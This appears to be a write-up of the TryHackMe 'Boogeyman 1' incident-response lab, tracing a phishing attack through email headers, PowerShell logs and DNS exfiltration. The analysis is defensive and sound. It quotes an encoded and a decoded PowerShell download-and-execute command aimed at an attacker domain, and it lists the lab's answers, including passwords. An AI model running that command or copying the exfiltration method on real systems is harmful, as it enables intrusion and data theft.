TryHackMe | Boogeyman 1 – Write-up

Author: Klay Keith Muhu

Date: Aug 24, 2025

Room Link: [Boogeyman 1] (https://tryhackme.com/room/boogeyman1)

OVERVIEW;

The room provided a phishing email, endpoint logs, and network traffic to analyze. By studying email headers, parsing JSON logs with JQ, and reconstructing events from packet captures, I uncovered how the threat actor gained initial access, enumerated the host, exfiltrated data, and maintained persistence.

Key learning included inspecting encoded payloads, tracking command execution in logs, and carving exfiltrated content from DNS traffic.

* Task 1 – Introduction: New threat in town

Uncover the secrets of the new emerging threat, the Boogeyman.

PREREQUISITES:

Recommended rooms from the SOC L1 Pathway:

- Phishing Analysis Fundamentals

- Phishing Analysis Tools

- Windows Event Logs

- Wireshark: Traffic Analysis

- Tshark (coming soon!)

ARTEFACTS:

- dump.eml – phishing email

- powershell.json – PowerShell logs (JSON format)

- capture.pcapng – packet capture

TOOLS:

- Thunderbird, LNKParse3, Wireshark, Tshark, jq

- CLI utilities: `grep`, `sed`, `awk`, `base64`

* Task 2 – Email Analysis: Look at that headers!

Julianne, a finance employee at Quick Logistics LLC, received a phishing email disguised as an invoice. The attachment was malicious and compromised her workstation.

FINDINGS:

- Attacker email: `agriffin@bpakcaging.xyz`

- Victim email: `julianne.westcott@hotmail.com`

- Third-party relay service: `elasticemail`

- File in encrypted attachment: `Invoice\_20230103.lnk`

- Password of encrypted attachment: `Invoice2023!`

Encoded payload in LNK command line:

aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==

DECODED PAYLOAD:

powershell

iex (new-object net.webclient).downloadstring('http://files.bpakcaging.xyz/update')

`

* Task 3 – Endpoint Security: Are you sure that’s an invoice?

FINDINGS FROM POWERSHELL LOGS:

~ Domains used by attacker: `cdn.bpakcaging.xyz, files.bpakcaging.xyz`

~ Enumeration tool downloaded: `Seatbelt`

~ File accessed via sq3.exe: `C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes\_8wekyb3d8bbwe\LocalState\plum.sqlite`

~ Software using that file: Microsoft Sticky Notes

~ Exfiltrated file: `protected\_data.kdbx`

~ File type: KeePass database

~ Encoding used during exfiltration: hex

~ Tool used for exfiltration: nslookup

* Task 4 – Network Traffic Analysis: They got us. Call the bank immediately!

FINDINGS FROM PACKET CAPTURE:

~ Server software used by attacker: Python (observed in HTTP response headers)

~ HTTP method for C2 commands: POST

~ Protocol for exfiltration: DNS

~ Password of exfiltrated file: `%p9³!lL^Mz47E2GaT^y`

~ Credit card number stored in exfiltrated file: `4024007128269551`

Exfiltration was confirmed via DNS queries to attacker domains. Data chunks were extracted using `tshark`, cleaned, and reassembled. Decoding revealed sensitive contents including credentials and credit card data.

---

LESSONS LEARNED:

~ Validate and sandbox email attachments before execution.

~ Monitor PowerShell execution with proper logging and alerting.

~ Detect abnormal DNS traffic patterns (common exfiltration channel).

~ Apply least privilege and restrict usage of tools like `nslookup`.

REFERENCES:

~ [jq Documentation](https://stedolan.github.io/jq/)

~ [Wireshark](https://www.wireshark.org/)

~ [CyberChef](https://gchq.github.io/CyberChef/)